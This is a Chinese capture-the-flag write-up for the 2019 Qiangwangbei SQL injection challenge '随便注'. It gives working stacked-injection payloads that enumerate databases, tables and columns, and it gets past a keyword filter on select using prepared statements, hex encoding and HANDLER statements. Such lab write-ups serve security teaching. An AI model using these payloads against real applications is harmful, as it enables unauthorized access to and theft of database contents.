[强网杯 2019]随便注 1

总结

  • 表名是纯数字,需要用反引号包裹
  • 通常使用堆叠注入结合预编译或16进制编码绕过select
  • select、union、大小写被过滤时,可使用handler语句

题目

解题思路

闭合方式为'报错,说明是字符型

尝试1’ or1=1#,成功输出了该表的所有数据,但是没有flag,说明flag不在当前数据表中

判断一下字段个数:' union select 1,2;#

系统提示return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

可以通过堆叠注入的方式,来绕过select关键字

查找数据名:

1
1';show databases;#

查看数据表:1';show tables;#

分别查两个表,发现第一个表1919810931114514下有1flag列

1
1'; show columns from `1919810931114514`;#

注意:如果表名是纯数字,需要用反引号包裹

法一

预编译的方式拼接select 关键字

1
1';sEt@a=concat("sel","ect flag from `1919810931114514`");PREPARE hacker from @a;EXECUTE hacker;#

法二

16进制编码绕过select 关键字

1
select * from `1919810931114514`

将上述语句进行16进制编码

1
1';sEt@a= 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;PREPARE hacker from @a;EXECUTE hacker;#

法三

通过handler直接给出答案

1
1';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ FIRST;HANDLER `1919810931114514` READ NEXT;HANDLER `1919810931114514` CLOSE;

select、union、大小写被过滤时,可使用handler语句

参考:

[强网杯 2019]随便注 1【SQL注入】四种解法-知乎